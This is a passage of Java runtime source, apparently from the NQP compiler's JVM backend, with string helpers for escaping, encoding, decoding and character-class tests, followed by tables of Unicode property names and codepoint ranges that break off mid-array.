end); } // does haystack have needle as a substring at offset? public static long string_equal_at(String haystack, String needle, long offset) { long haylen = haystack.length(); long needlelen = needle.length(); if (offset < 0) { offset += haylen; if (offset < 0) { offset = 0; } } if (haylen - offset < needlelen) { return 0; } return haystack.regionMatches((int)offset, needle, 0, (int)needlelen) ? 1 : 0; } public static long ordfirst(String str) { return str.codePointAt(0); } public static long ordat(String str, long offset) { return str.codePointAt((int)offset); } public static String sprintf(String format, SixModelObject arr, ThreadContext tc) { // This function just assumes that Java's printf format is compatible // with NQP's printf format... final int numElems = (int) arr.elems(tc); Object[] args = new Object[numElems]; for (int i = 0; i < numElems; i++) { SixModelObject obj = arr.at_pos_boxed(tc, i); StorageSpec ss = obj.st.REPR.get_storage_spec(tc, obj.st); if ((ss.can_box & StorageSpec.CAN_BOX_INT) != 0) { args[i] = Long.valueOf(obj.get_int(tc)); } else if ((ss.can_box & StorageSpec.CAN_BOX_NUM) != 0) { args[i] = Double.valueOf(obj.get_num(tc)); } else if ((ss.can_box & StorageSpec.CAN_BOX_STR) != 0) { args[i] = obj.get_str(tc); } else { throw new IllegalArgumentException("sprintf only accepts ints, nums, and strs, not " + obj.getClass()); } } return String.format(format, args); } public static String escape(String str) { int len = str.length(); StringBuilder sb = new StringBuilder(2 * len); for (int i = 0; i < len; i++) { char c = str.charAt(i); switch (c) { case '\\': sb.append("\\\\"); break; case 7: sb.append("\\a"); break; case '\b': sb.append("\\b"); break; case '\n': sb.append("\\n"); break; case '\r': sb.append("\\r"); break; case '\t': sb.append("\\t"); break; case '\f': sb.append("\\f"); break; case '"': sb.append("\\\""); break; case 27: sb.append("\\e"); break; default: sb.append(c); } } return sb.toString(); } public static String flip(String str) { return new StringBuffer(str).reverse().toString(); } public static String replace(String str, long offset, long count, String repl) { return new StringBuffer(str).replace((int)offset, (int)(offset + count), repl).toString(); } /* Brute force, but not normally needed for most programs. */ private static volatile HashMap<String, Character> cpNameMap; public static long codepointfromname(String name) { HashMap<String, Character> names = cpNameMap; if (names == null) { names = new HashMap< >(); for (char i = 0; i < Character.MAX_VALUE; i++) if (Character.isValidCodePoint(i)) names.put(Character.getName(i), i); cpNameMap = names; } Character found = names.get(name); return found == null ? -1 : found; } private static void stashBytes(ThreadContext tc, SixModelObject res, byte[] bytes) { if (res instanceof VMArrayInstance_i8) { VMArrayInstance_i8 arr = (VMArrayInstance_i8)res; arr.elems = bytes.length; arr.start = 0; arr.slots = bytes; } else { res.set_elems(tc, bytes.length); for (int i = 0; i < bytes.length; i++) { tc.native_i = bytes[i]; res.bind_pos_native(tc, i); } } } public static SixModelObject encode(String str, String encoding, SixModelObject res, ThreadContext tc) { try { if (encoding.equals("utf8")) { stashBytes(tc, res, str.getBytes("UTF-8")); } else if (encoding.equals("ascii")) { stashBytes(tc, res, str.getBytes("US-ASCII")); } else if (encoding.equals("iso-8859-1")) { stashBytes(tc, res, str.getBytes("ISO-8859-1")); } else if (encoding.equals("utf16")) { short[] buffer = new short[str.length()]; for (int i = 0; i < str.length(); i++) buffer[i] = (short)str.charAt(i); if (res instanceof VMArrayInstance_i16) { VMArrayInstance_i16 arr = (VMArrayInstance_i16)res; arr.elems = buffer.length; arr.start = 0; arr.slots = buffer; } else { res.set_elems(tc, buffer.length); for (int i = 0; i < buffer.length; i++) { tc.native_i = buffer[i]; res.bind_pos_native(tc, i); } } } else if (encoding.equals("utf32")) { int[] buffer = new int[str.length()]; /* Can be an overestimate. */ int bufPos = 0; for (int i = 0; i < str.length(); ) { int cp = str.codePointAt(i); buffer[bufPos++] = cp; i += Character.charCount(cp); } if (res instanceof VMArrayInstance_i32) { VMArrayInstance_i32 arr = (VMArrayInstance_i32)res; arr.elems = bufPos; arr.start = 0; arr.slots = buffer; } else { res.set_elems(tc, buffer.length); for (int i = 0; i < bufPos; i++) { tc.native_i = buffer[i]; res.bind_pos_native(tc, i); } } } else { throw ExceptionHandling.dieInternal(tc, "Unknown encoding '" + encoding + "'"); } return res; } catch (UnsupportedEncodingException e) { throw ExceptionHandling.dieInternal(tc, e); } } protected static ByteBuffer decode8(SixModelObject buf, ThreadContext tc) { ByteBuffer bb; if (buf instanceof VMArrayInstance_i8) { VMArrayInstance_i8 bufi8 = (VMArrayInstance_i8)buf; bb = bufi8.slots != null ? ByteBuffer.wrap(bufi8.slots, bufi8.start, bufi8.elems) : ByteBuffer.allocate(0); } else if (buf instanceof VMArrayInstance_u8) { VMArrayInstance_u8 bufu8 = (VMArrayInstance_u8)buf; bb = bufu8.slots != null ? ByteBuffer.wrap(bufu8.slots, bufu8.start, bufu8.elems) : ByteBuffer.allocate(0); } else { int n = (int)buf.elems(tc); bb = ByteBuffer.allocate(n); for (int i = 0; i < n; i++) { buf.at_pos_native(tc, i); bb.put((byte)tc.native_i); } bb.rewind(); } return bb; } public static String decode8(SixModelObject buf, String csName, ThreadContext tc) { ByteBuffer bb = decode8(buf, tc); return Charset.forName(csName).decode(bb).toString(); } public static String decode(SixModelObject buf, String encoding, ThreadContext tc) { if (encoding.equals("utf8")) { return decode8(buf, "UTF-8", tc); } else if (encoding.equals("ascii")) { return decode8(buf, "US-ASCII", tc); } else if (encoding.equals("iso-8859-1")) { return decode8(buf, "ISO-8859-1", tc); } else if (encoding.equals("utf16")) { int n = (int)buf.elems(tc); StringBuilder sb = new StringBuilder(n); for (int i = 0; i < n; i++) { buf.at_pos_native(tc, i); sb.append((char)tc.native_i); } return sb.toString(); } else if (encoding.equals("utf32")) { int n = (int)buf.elems(tc); StringBuilder sb = new StringBuilder(n); for (int i = 0; i < n; i++) { buf.at_pos_native(tc, i); sb.appendCodePoint((int)tc.native_i); } return sb.toString(); } else { throw ExceptionHandling.dieInternal(tc, "Unknown encoding '" + encoding + "'"); } } private static final int CCLASS_ANY = 65535; private static final int CCLASS_UPPERCASE = 1; private static final int CCLASS_LOWERCASE = 2; private static final int CCLASS_ALPHABETIC = 4; private static final int CCLASS_NUMERIC = 8; private static final int CCLASS_HEXADECIMAL = 16; private static final int CCLASS_WHITESPACE = 32; private static final int CCLASS_PRINTING = 64; private static final int CCLASS_BLANK = 256; private static final int CCLASS_CONTROL = 512; private static final int CCLASS_PUNCTUATION = 1024; private static final int CCLASS_ALPHANUMERIC = 2048; private static final int CCLASS_NEWLINE = 4096; private static final int CCLASS_WORD = 8192; private static final int PUNCT_TYPES = (1 << Character.CONNECTOR_PUNCTUATION) | (1 << Character.DASH_PUNCTUATION) | (1 << Character.END_PUNCTUATION) | (1 << Character.FINAL_QUOTE_PUNCTUATION) | (1 << Character.INITIAL_QUOTE_PUNCTUATION) | (1 << Character.OTHER_PUNCTUATION) | (1 << Character.START_PUNCTUATION); private static final int NONPRINT_TYPES = (1 << Character.CONTROL) | (1 << Character.SURROGATE) | (1 << Character.UNASSIGNED) | (1 << Character.LINE_SEPARATOR) | (1 << Character.PARAGRAPH_SEPARATOR); public static long iscclass(long cclass, String target, long offset) { if (offset < 0 || offset >= target.length()) return 0; char test = target.charAt((int)offset); switch ((int)cclass) { case CCLASS_ANY: return 1; case CCLASS_NUMERIC: return Character.isDigit(test) ? 1 : 0; case CCLASS_WHITESPACE: if (Character.isSpaceChar(test)) return 1; if (test >= '\t' && test <= '\r') return 1; if (test == '\u0085') return 1; return 0; case CCLASS_PRINTING: if (((1 << Character.getType(test)) & NONPRINT_TYPES) != 0) return 0; return test < '\t' || test > '\r' ? 1 : 0; case CCLASS_WORD: return test == '_' || Character.isLetterOrDigit(test) ? 1 : 0; case CCLASS_NEWLINE: return (Character.getType(test) == Character.LINE_SEPARATOR) || (test == '\n' || test == '\r' || test == '\u0085') ? 1 : 0; case CCLASS_ALPHABETIC: return Character.isAlphabetic(test) ? 1 : 0; case CCLASS_UPPERCASE: return Character.isUpperCase(test) ? 1 : 0; case CCLASS_LOWERCASE: return Character.isLowerCase(test) ? 1 : 0; case CCLASS_HEXADECIMAL: return Character.isDigit(test) || (test >= 'A' && test <= 'F' || test >= 'a' && test <= 'f') ? 1 : 0; case CCLASS_BLANK: return (Character.getType(test) == Character.SPACE_SEPARATOR) || (test == '\t') ? 1 : 0; case CCLASS_CONTROL: return Character.isISOControl(test) ? 1 : 0; case CCLASS_PUNCTUATION: return ((1 << Character.getType(test)) & PUNCT_TYPES) != 0 ? 1 : 0; case CCLASS_ALPHANUMERIC: return Character.isLetterOrDigit(test) ? 1 : 0; default: return 0; } } public static long checkcrlf(String tgt, long pos, long eos) { return (pos <= eos-2 && tgt.substring((int)pos, ((int) pos)+2).equals("\r\n")) ? pos+1 : pos; } public static long findcclass(long cclass, String target, long offset, long count) { long length = target.length(); long end = offset + count; end = length < end ? length : end; for (long pos = offset; pos < end; pos++) { if (iscclass(cclass, target, pos) > 0) { return pos; } } return end; } public static long findnotcclass(long cclass, String target, long offset, long count) { long length = target.length(); long end = offset + count; end = length < end ? length : end; for (long pos = offset; pos < end; pos++) { if (iscclass(cclass, target, pos) == 0) { return pos; } } return end; } private static HashMap<String,String> canonNames = new HashMap<String, String>(); private static HashMap<String,int[]> derivedProps = new HashMap<String, int[]>(); static { canonNames.put("inlatin1supplement", "InLatin-1Supplement"); canonNames.put("inlatinextendeda", "InLatinExtended-A"); canonNames.put("inlatinextendedb", "InLatinExtended-B"); canonNames.put("inarabicextendeda", "InArabicExtended-A"); canonNames.put("inmiscellaneousmathematicalsymbolsa", "InMiscellaneousMathematicalSymbols-A"); canonNames.put("insupplementalarrowsa", "InSupplementalArrows-A"); canonNames.put("insupplementalarrowsb", "InSupplementalArrows-B"); canonNames.put("inmiscellaneousmathematicalsymbolsb", "InMiscellaneousMathematicalSymbols-B"); canonNames.put("inlatinextendedc", "InLatinExtended-C"); canonNames.put("incyrillicextendeda", "InCyrillicExtended-A"); canonNames.put("incyrillicextendedb", "InCyrillicExtended-B"); canonNames.put("inlatinextendedd", "InLatinExtended-D"); canonNames.put("inhanguljamoextendeda", "InHangulJamoExtended-A"); canonNames.put("inmyanmarextendeda", "InMyanmarExtended-A"); canonNames.put("inethiopicextendeda", "InEthiopicExtended-A"); canonNames.put("inhanguljamoextendedb", "InHangulJamoExtended-B"); canonNames.put("inarabicpresentationformsa", "InArabicPresentationForms-A"); canonNames.put("inarabicpresentationformsb", "InArabicPresentationForms-B"); canonNames.put("insupplementaryprivateuseareaa", "InSupplementaryPrivateUseArea-A"); canonNames.put("insupplementaryprivateuseareab", "InSupplementaryPrivateUseArea-B"); canonNames.put("alphabetic", "IsAlphabetic"); canonNames.put("ideographic", "IsIdeographic"); canonNames.put("letter", "IsLetter"); canonNames.put("lowercase", "IsLowercase"); canonNames.put("uppercase", "IsUppercase"); canonNames.put("titlecase", "IsTitlecase"); canonNames.put("punctuation", "IsPunctuation"); canonNames.put("control", "IsControl"); canonNames.put("white_space", "IsWhite_Space"); canonNames.put("digit", "IsDigit"); canonNames.put("hex_digit", "IsHex_Digit"); canonNames.put("noncharacter_code_point", "IsNoncharacter_Code_Point"); canonNames.put("assigned", "IsAssigned"); canonNames.put("uppercaseletter", "Lu"); canonNames.put("lowercaseletter", "Ll"); canonNames.put("titlecaseletter", "Lt"); canonNames.put("casedletter", "LC"); canonNames.put("modifierletter", "Lm"); canonNames.put("otherletter", "Lo"); canonNames.put("letter", "L"); canonNames.put("nonspacingmark", "Mn"); canonNames.put("spacingmark", "Mc"); canonNames.put("enclosingmark", "Me"); canonNames.put("mark", "M"); canonNames.put("decimalnumber", "Nd"); canonNames.put("letternumber", "Nl"); canonNames.put("othernumber", "No"); canonNames.put("number", "N"); canonNames.put("connectorpunctuation", "Pc"); canonNames.put("dashpunctuation", "Pd"); canonNames.put("openpunctuation", "Ps"); canonNames.put("closepunctuation", "Pe"); canonNames.put("initialpunctuation", "Pi"); canonNames.put("finalpunctuation", "Pf"); canonNames.put("otherpunctuation", "Po"); canonNames.put("punctuation", "P"); canonNames.put("mathsymbol", "Sm"); canonNames.put("currencysymbol", "Sc"); canonNames.put("modifiersymbol", "Sk"); canonNames.put("othersymbol", "So"); canonNames.put("symbol", "S"); canonNames.put("spaceseparator", "Zs"); canonNames.put("lineseparator", "Zl"); canonNames.put("paragraphseparator", "Zp"); canonNames.put("separator", "Z"); canonNames.put("control", "Cc"); canonNames.put("format", "Cf"); canonNames.put("surrogate", "Cs"); canonNames.put("privateuse", "Co"); canonNames.put("unassigned", "Cn"); canonNames.put("other", "C"); derivedProps.put("WhiteSpace", new int[] { 9,13,32,32,133,133,160,160,5760,5760,6158,6158,8192,8202,8232,8232,8233,8233,8239,8239,8287,8287,12288,12288 }); derivedProps.put("BidiControl", new int[] { 8206,8207,8234,8238 }); derivedProps.put("JoinControl", new int[] { 8204,8205 }); derivedProps.put("Dash", new int[] { 45,45,1418,1418,1470,1470,5120,5120,6150,6150,8208,8213,8275,8275,8315,8315,8331,8331,8722,8722,11799,11799,11802,11802,11834,11835,12316,12316,12336,12336,12448,12448,65073,65074,65112,65112,65123,65123,65293,65293 }); derivedProps.put("Hyphen", new int[] { 45,45,173,173,1418,1418,6150,6150,8208,8209,11799,11799,12539,12539,65123,65123,65293,65293,65381,65381 }); derivedProps.put("QuotationMark", new int[] { 34,34,39,39,171,171,187,187,8216,8216,8217,8217,8218,8218,8219,8220,8221,8221,8222,8222,8223,8223,8249,8249,8250,8250,12300,12300,12301,12301,12302,12302,12303,12303,12317,12317,12318,12319,65089,65089,65090,65090,65091,65091,65092,65092,65282,65282,65287,65287,65378,65378,65379,65379 }); derivedProps.put("TerminalPunctuation", new int[] { 33,33,44,44,46,46,58,59,63,63,894,894,903,903,1417,1417,1475,1475,1548,1548,1563,1563,1567,1567,1748,1748,1792,1802,1804,1804,2040,2041,2096,2110,2142,2142,2404,2405,3674,3675,3848,3848,3853,3858,4170,4171,4961,4968,5741,5742,5867,5869,6100,6102,6106,6106,6146,6149,6152,6153,6468,6469,6824,6827,7002,7003,7005,7007,7227,7231,7294,7295,8252,8253,8263,8265,11822,11822,12289,12290,42238,42239,42509,42511,42739,42743,43126,43127,43214,43215,43311,43311,43463,43465,43613,43615,43743,43743,43760,43761,44011,44011,65104,65106,65108,65111,65281,65281,65292,65292,65294,65294,65306,65307,65311,65311,65377,65377,65380,65380,66463,66463,66512,66512,67671,67671,67871,67871,68410,68415,69703,69709,69822,69825,69953,69955,70085,70086,74864,74867 }); derivedProps.put("OtherMath", new int[] { 94,94,976,978,981,981,1008,1009,1012,1013,8214,8214,8242,8244,8256,8256,8289,8292,8317,8317,8318,8318,8333,8333,8334,8334,8400,8412,8417,8417,8421,8422,8427,8431,8450,8450,8455,8455,8458,8467,8469,8469,8473,8477,8484,8484,8488,8488,8489,8489,8492,8493,8495,8497,8499,8500,8501,8504,8508,8511,8517,8521,8597,8601,8604,8607,8609,8610,8612,8613,8615,8615,8617,8621,8624,8625,8630,8631,8636,8653,8656,8657,8659,8659,8661,8667,8669,8669,8676,8677,9140,9141,9143,9143,9168,9168,9186,9186,9632,9633,9646,9654,9660,9664,9670,9671,9674,9675,9679,9683,9698,9698,9700,9700,9703,9708,9733,9734,9792,9792,9794,9794,9824,9827,9837,9838,10181,10181,10182,10182,10214,10214,10215,10215,10216,10216,10217,10217,10218,10218,10219,10219,10220,10220,10221,10221,10222,10222,10223,10223,10627,10627,10628,10628,10629,10629,10630,10630,10631,10631,10632,10632,10633,10633,10634,10634,10635,10635,10636,10636,10637,10637,10638,10638,10639,10639,10640,10640,10641,10641,10642,10642,10643,10643,10644,10644,10645,10645,10646,10646,10647,10647,10648,10648,10712,10712,10713,10713,10714,10714,10715,10715,10748,10748,10749,10749,65121,65121,65123,65123,65128,65128,65340,65340,65342,65342,119808,119892,119894,119964,119966,119967,119970,119970,119973,119974,119977,119980,119982,119993,119995,119995,119997,120003,120005,120069,120071,120074,120077,120084,120086,120092,120094,120121,120123,120126,120128,120132,120134,120134,120138,120144,120146,120485,120488,120512,120514,120538,120540,120570,120572,120596,120598,120628,120630,120654,120656,120686,120688,120712,120714,120744,120746,120770,120772,120779,120782,120831,126464,126467,126469,126495,126497,126498,126500,126500,126503,126503,126505,126514,126516,126519,126521,126521,126523,126523,126530,126530,126535,126535,126537,126537,126539,126539,126541,126543,126545,126546,126548,126548,126551,126551,126553,126553,126555,126555,126557,126557,126559,126559,126561,126562,126564,126564,126567,126570,126572,126578,126580,126583,126585,126588,126590,126590,126592,126601,126603,126619,126625,126627,126629,126633,126635,126651 }); derivedProps.put("HexDigit", new int[] { 48,57,65,70,97,102,65296,65305,65313,65318,65345,65350 }); derivedProps.put("ASCIIHexDigit", new int[] { 48,57,65,70,97,102 }); derivedProps.put("OtherAlphabetic", new int[] { 837,837,1456,1469,1471,1471,1473,1474,1476,1477,1479,1479,1552,1562,1611,1623,1625,1631,1648,1648,1750,1756,1761,1764,1767,1768,1773,1773,1809,1809,1840,1855,1958,1968,2070,2071,2075,2083,2085,2087,2089,2092,2276,2281,2288,2302,2304,2306,2307,2307,2362,2362,2363,2363,2366,2368,2369,2376,2377,2380,2382,2383,2389,2391,2402,2403,2433,2433,2434,2435,2494,2496,2497,2500,2503,2504,2507,2508,2519,2519,2530,2531,2561,2562,2563,2563,2622,2624,2625,2626,2631,2632,2635,2636,2641,2641,2672,2673,2677,2677,2689,2690,2691,2691,2750,2752,2753,2757,2759,2760,2761,2761,2763,2764,2786,2787,2817,2817,2818,2819,2878,2878,2879,2879,2880,2880,2881,2884,2887,2888,2891,2892,2902,2902,2903,2903,2914,2915,2946,2946,3006,3007,3008,3008,3009,3010,3014,3016,3018,3020,3031,3031,3073,3075,3134,3136,3137,3140,3142,3144,3146,3148,3157,3158,3170,3171,3202,3203,3262,3262,3263,3263,3264,3268,3270,3270,3271,3272,3274,3275,3276,3276,3285,3286,3298,3299,3330,3331,3390,3392,3393,3396,3398,3400,3402,3404,3415,3415,3426,3427,3458,3459,3535,3537,3538,3540,3542,3542,3544,3551,3570,3571,3633,3633,3636,3642,3661,3661,3761,3761,3764,3769,3771,3772,3789,3789,3953,3966,3967,3967,3968,3969,3981,3991,3993,4028,4139,4140,4141,4144,4145,4145,4146,4150,4152,4152,4155,4156,4157,4158,4182,4183,4184,4185,4190,4192,4194,4194,4199,4200,4209,4212,4226,4226,4227,4228,4229,4230,4252,4252,4253,4253,4959,4959,5906,5907,5938,5939,5970,5971,6002,6003,6070,6070,6071,6077,6078,6085,6086,6086,6087,6088,6313,6313,6432,6434,6435,6438,6439,6440,6441,6443,6448,6449,6450,6450,6451,6456,6576,6592,6600,6601,6679,6680,6681,6683,6741,6741,6742,6742,6743,6743,6744,6750,6753,6753,6754,6754,6755,6756,6757,6764,6765,6770,6771,6772,6912,6915,6916,6916,6965,6965,6966,6970,6971,6971,6972,6972,6973,6977,6978,6978,6979,6979,7040,7041,7042,7042,7073,7073,7074,7077,7078,7079,7080,7081,7084,7085,7143,7143,7144,7145,7146,7148,7149,7149,7150,7150,7151,7153,7204,7211,7212,7219,7220,7221,7410,7411,9398,9449,11744,11775,42612,42619,42655,42655,43043,43044,43045,43046,43047,43047,43136,43137,43188,43203,43302,43306,43335,43345,43346,43346,43392,43394,43395,43395,43444,43445,43446,43449,43450,43451,43452,43452,43453,43455,43561,43566,43567,43568,43569,43570,43571,43572,43573,43574,43587,43587,43596,43596,43597,43597,43696,43696,43698,43700,43703,43704,43710,43710,43755,43755,43756,43757,43758,43759,43765,43765,44003,44004,44005,44005,44006,44007,44008,44008,44009,44010,64286,64286,68097,68099,68101,68102,68108,68111,69632,69632,69633,69633,69634,69634,69688,69701,69762,69762,69808,69810,69811,69814,69815,69816,69888,69890,69927,69931,69932,69932,69933,69938,70016,70017,70018,70018,70067,70069,70070,70078,70079,70079,71339,71339,71340,71340,71341,71341,71342,71343,71344,71349,94033,94078 }); derivedProps.put("Ideographic", new int[] { 12294,12294,12295,12295,12321,12329,12344,12346,13312,19893,19968,40908,63744,64109,64112,64217,131072,173782,173824,177972,177984,178205,194560,195101 }); derivedProps.put("Diacritic", new int[] { 94,94,96,96,168,168,175,175,180,180,183,183,184,184,688,705,706,709,710,721,722,735,736,740,741,747,748,748,749,749,750,750,751,767,768,846,848,855,861,866,884,884,885,885,890,890,900,901,1155,1159,1369,1369,1425,1441,1443,1469,1471,1471,1473,1474,1476,1476,1611,1618,1623,1624,1759,1760,1765,1766,1770,1772,1840,1866,1958,1968,2027,2035,2036,2037,2072,2073,2276,2302,2364,2364,2381,2381,2385,2388,2417,2417,2492,2492,2509,2509,2620,2620,2637,2637,2748,2748,2765,2765,2876,2876,2893,2893,3021,3021,3149,3149,3260,3260,3277,3277,3405,3405,3530,3530,3655,3660,3662,3662,3784,3788,3864,3865,3893,3893,3895,3895,3897,3897,3902,3903,3970,3972,3974,3975,4038,4038,4151,4151,4153,4154,4231,4236,4237,4237,4239,4239,4250,4251,6089,6099,6109,6109,6457,6459,6773,6780,6783,6783,6964,6964,6980,6980,7019,7027,7082,7082,7083,7083,7222,7223,7288,7293,7376,7378,7379,7379,7380,7392,7393,7393,7394,7400,7405,7405,7412,7412,7468,7530,7620,7631,7677,7679,8125,8125,8127,8129,8141,8143,8157,8159,8173,8175,8189,8190,11503,11505,11823,11823,12330,12333,12334,12335,12441,12442,12443,12444,12540,12540,42607,42607,42620,42621,42623,42623,42736,42737,42775,42783,42784,42785,42888,42888,43000,43001,43204,43204,43232,43249,43307,43309,43310,43310,43347,43347,43443,43443,43456,43456,43643,43643,43711,43711,43712,43712,43713,43713,43714,43714,43766,43766,44012,44012,44013,44013,64286,64286,65056,65062,65342,65342,65344,65344,65392,65392,65438,65439,65507,65507,69817,69818,69939,69940,70080,70080,71350,71350,71351,71351,94095,94098,94099,94111,119143,119145,119149,119154,119163,119170,119173,119179,119210,119213 }); derivedProps.put("Extender", new int[] { 183,183,720,721,1600,1600,2042,2042,3654,3654,3782,3782,6154,6154,6211,6211,6823,6823,7222,7222,7291,7291,12293,12293,12337,12341,12445,12446,12540,12542,40981,40981,42508,42508,43471,43471,43632,43632,43741,43741,43763,43764,65392,65392 }); derivedProps.put("OtherLowercase", new int[] { 170,170,186,186,688,696,704,705,736,740,837,837,890,890,7468,7530,7544,7544,7579,7615,8305,8305,8319,8319,8336,8348,8560,8575,9424,9449,11388,11389,42864,42864,43000,43001 }); derivedProps.put("OtherUppercase", new int[] { 8544,8559,9398,9423 }); derivedProps.put("NoncharacterCodePoint", new int[] { 64976,65007,65534,65535,131070,131071,196606,196607,262142,262143,327678,327679,393214,393215,458750,458751,524286,524287,589822,589823,655358,655359,720894,720895,786430,786431,851966,851967,917502,917503,983038,983039,1048574,1048575,1114110,1114111 }); derivedProps.put("OtherGraphemeExtend", new int[] { 2494,2494,2519,2519,2878,2878,2903,2903,3006,3006,3031,3031,3266,3266,3285,3286,3390,3390,3415,3415,3535,3535,3551,3551,8204,8205,12334,12335,65438,65439,119141,119141,119150,119154 }); derivedProps.put("IDSBinaryOperator", new int[] { 12272,12273,12276,12283 }); derivedProps.put("IDSTrinaryOperator", new int[] { 12274,12275 }); derivedProps.put("Radical", new int[] { 11904,11929,11931,12019,12032,12245 }); derivedProps.put("UnifiedIdeograph", new int[] { 13312,19893,19968,40908,64014,64015,64017,64017,64019,64020,64031,64031,64033,64033,64035,64036,64039,64041,131072,173782,173824,177972,177984,178205 }); derivedProps.put("OtherDefaultIgnorableCodePoint", new int[] { 847,847,4447,4448,6068,6069,8293,8297,12644,12644,65440,65440,65520,65528,917504,917504,917506,917535,917632,917759,918000,921599 }); derivedProps.put("Deprecated", new int[] { 329,329,1651,1651,3959,3959,3961,3961,6051,6052,8298,8303,9001,9001,9002,9002,917505,917505,917536,917631 }); derivedProps.put("SoftDotted", new int[] { 105,106,303,303,585,585,616,616,669,669,690,690,1011,1011,1110,1110,1112,1112,7522,7522,7574,7574,7588,7588,7592,7592,7725,7725,7883,7883,8305,8305,8520,8521,11388,11388,119842,119843,119894,119895,119946,119947,119998,119999,120050,120051,120102,120103,120154,120155,120206,120207,120258,120259,120310,120311,120362,120363,120414,120415,120466,120467 }); derivedProps.put("LogicalOrderException", new int[] { 3648,3652,3776,3780,43701,43702,43705,43705,43707,43708 }); derivedProps.put("OtherIDStart", new int[] { 8472,8472,8494,8494,12443,12444 }); derivedProps.put("OtherIDContinue", new int[] { 183,183,903,903,4969,4977,6618,6618 }); derivedProps.put("STerm", new int[] { 33,33,46,46,63,63,1372,1372,1374,1374,1417,1417,1567,1567,1748,1748,1792,1794,2041,2041,2404,2405,4170,4171,4962,4962,4967,4968,5742,5742,5941,5942,6147,6147,6153,6153,6468,6469,6824,6827,7002,7003,7006,7007,7227,7228,7294,7295,8252,8253,8263,8265,11822,11822,12290,12290,42239,42239,42510,42511,42739,42739,42743,42743,43126,43127,43214,43215,43311,43311,43464,43465,43613,43615,43760,43761,44011,44011,65106,65106,65110,65111,65281,65281,65294,65294,65311,65311,65377,65377,68182,68183,69703,69704,69822,69825,69953,69955,70085,70086 }); derivedProps.put("VariationSelector", new int[] { 6155,6157,65024,65039,917760,917999 }); derivedProps.put("PatternWhiteSpace", new int[] { 9,13,32,32,133,133,8206,8207,8232,8232,8233,8233 }); derivedProps.put("PatternSyntax", new int[] { 33,35,36,36,37,39,40,40,41,41,42,42,43,43,44,44,45,45,46,47,58,59,60,62,63,64,91,91,92,92,93,93,94,94,96,96,123,123,124,124,125,125,126,126,161,161,162,165,166,166,167,167,169,169,171,171,172,172,174,174,176,176,177,177,182,182,187,187,191,191,215,215,247,247,8208,8213,8214,8215,8216,8216,8217,8217,8218,8218,8219,8220,8221,8221,8222,8222,8223,8223,8224,8231,8240,8248,8249,8249,8250,8250,8251,8254,8257,8259,8260,8260,8261,8261,8262,8262,8263,8273,8274,8274,8275,8275,8277,8286,8592,8596,8597,8601,8602,8603,8604,8607,8608,8608,8609,8610,8611,8611,8612,8613,8614,8614,8615,8621,8622,8622,8623,8653,8654,8655,8656,8657,8658,8658,8659,8659,8660,8660,8661,8691,8692,8959,8960,8967,8968,8971,8972,8991,8992,8993,8994,9000,9001,9001,9002,9002,9003,9083,9084,9084,9085,9114,9115,9139,9140,9179,9180,9185,9186,9203,9204,9215,9216,9254,9255,9279,9280,9290,9291,9311,9472,9654,9655,9655,9656,9664,9665,9665,9666,9719,9720,9727,9728,9838,9839,9839,9840,9983,9984,9984,9985,10087,10088,10088,10089,10089,10090,10090,10091,10091,10092,10092,10093,10093,10094,10094,10095,10095,10096,10096,10097,10097,10098,10098,10099,10099,10100,10100,10101,10101,10132,10175,10176,10180,10181,10181,10182,10182,10183,10213,10214,10214,10215,10215,10216,10216,10217,10217,10218,10218,10219,10219,10220,10220,10221,10221,10222,10222,10223,10223,10224,10239,10240,10495,10496,10626,10627,10627,10628,10628,10629,10629,10630,10630,10631,10631,10632,10632,10633,10633,10634,10634,10635,10635,10636,10636,10637,10637,10638,10638,10639,10639,10640,10640,10641,10641,10642,10642,10643,10643,10644,10644,10645,10645,10646,10646,10647,10647,10648,10648,10649,10711,10712,10712,10713,10713,10714,10714,10715,10715,10716,10747,10748,10748,10749,10749,10750,11007,11008,11055,11056,11076,11077,11078,11079,11084,11085,11087,11088,11097,11098,11263,11776,11777,11778,11778,11779,11779,11780,11780,11781,11781,11782,11784,11785,11785,11786,11786,11787,11787,11788,11788,11789,11789,11790,11798,11799,11799,11800,11801,11802,11802,11803,11803,11804,11804,11805,11805,11806,11807,11808,11808,11809,11809,11810,11810,11811,11811,11812,11812,11813,11813,11814,11814,11815,11815,11816,11816,11817,11817,11818,11822,11823,11823,11824,11833,11834,11835,11836,11903,12289,12291,12296,12296,12297,12297,12298,12298,12299,12299,12300,12300,12301,12301,12302,12302,12303,12303,12304,12304,12305,12305,12306,12307,12308,12308,12309,12309,12310,12310,12311,12311,12312,12312,12313,12313,12314,12314,12315,12315,12316,12316,12317,12317,12318,12319,12320,12320,12336,12336,64830,64830,64831,64831,65093,65094 }); derivedProps.put("Math", new int[] { 43,43,60,62,94,94,124,124,126,126,172,172,177,177,215,215,247,247,976,978,981,981,1008,1009,1012,1013,1014,1014,1542,1544,8214,8214,8242,8244,8256,8256,8260,8260,8274,8274,8289,8292,8314,8316,8317,8317,8318,8318,8330,8332,8333,8333,8334,8334,8400,8412,8417,8417,8421,8422,8427,8431,8450,8450,8455,8455,8458,8467,8469,8469,8472,8472,8473,8477,8484,8484,8488,8488,8489,8489,8492,8493,8495,8497,8499,8500,8501,8504,8508,8511,8512,8516,8517,8521,8523,8523,8592,8596,8597,8601,8602,8603,8604,8607,8608,8608,8609,8610,8611,8611,8612,8613,8614,8614,8615,8615,8617,8621,8622,8622,8624,8625,8630,8631,8636,8653,8654,8655,8656,8657,8658,8658,8659,8659,8660,8660,8661,8667,8669,8669,8676,8677,8692,8959,8968,8971,8992,8993,9084,9084,9115,9139,9140,9141,9143,9143,9168,9168,9180,9185,9186,9186,9632,9633,9646,9654,9655,9655,9660,9664,9665,9665,9670,9671,9674,9675,9679,9683,9698,9698,9700,9700,9703,9708,9720,9727,9733,9734,9792,9792,9794,9794,9824,9827,9837,9838,9839,9839,10176,10180,10181,10181,10182,10182,10183,10213,10214,10214,10215,10215,10216,10216,10217,10217,10218,10218,10219,10219,10220,10220,10221,10221,10222,10222,10223,10223,10224,10239,10496,10626,10627,10627,10628,10628,10629,10629,10630,10630,10631,10631,10632,10632,10633,10633,10634,10634,10635,10635,10636,10636,10637,10637,10638,10638,10639,10639,10640,10640,10641,10641,10642,10642,10643,10643,10644,10644,10645,10645,10646,10646,10647,10647,10648,10648,10649,10711,10712,10712,10713,10713,10714,10714,10715,10715,10716,10747,10748,10748,10749,10749,10750,11007,11056,11076,11079,11084,64297,64297,65121,65121,65122,65122,65123,65123,65124,65126,65128,65128,65291,65291,65308,65310,65340,65340,65342,65342,65372,65372,65374,65374,65506,65506,65513,65516,119808,119892,